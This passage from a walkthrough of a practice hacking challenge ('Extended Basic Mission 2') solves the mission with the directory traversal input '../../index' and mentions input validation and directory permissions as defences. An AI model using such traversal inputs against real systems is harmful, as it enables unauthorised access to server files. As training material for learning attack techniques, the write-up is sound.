Given these points, all we need to do to solve this mission is to tell the script to navigate up two directories. We are currently in the ‘extbasic‘ directory looking at the file named 2 ‘/missions/extbasic/2‘. So by traversing up two directories we should be in the root directory. Once there, we need to specify the ‘index.php‘, however the file extension ‘.php‘ has already been appended for us so we only need to specify the word index. The correct solution should be ‘../../index‘. Paste that into the check form and you should complete the mission and be able to proceed on to the next one.

The Solution
The Solution

Extended Basic Mission 2 — Conclusion

This is a simple but fun challenge that tests your knowledge of web application directory structures and code reading ability. While I wouldn’t have a clue how to write this off the top of my head, I easily worked out what the code is attempting to do. Once you understand what the code is doing, and you understand the rules of the mission then it’s fairly simple. This type of attack is known as a directory traversal attack and can be prevented by validating user input and by having strict permissions policies on directories. Anyway, I hope this helped you solve the mission.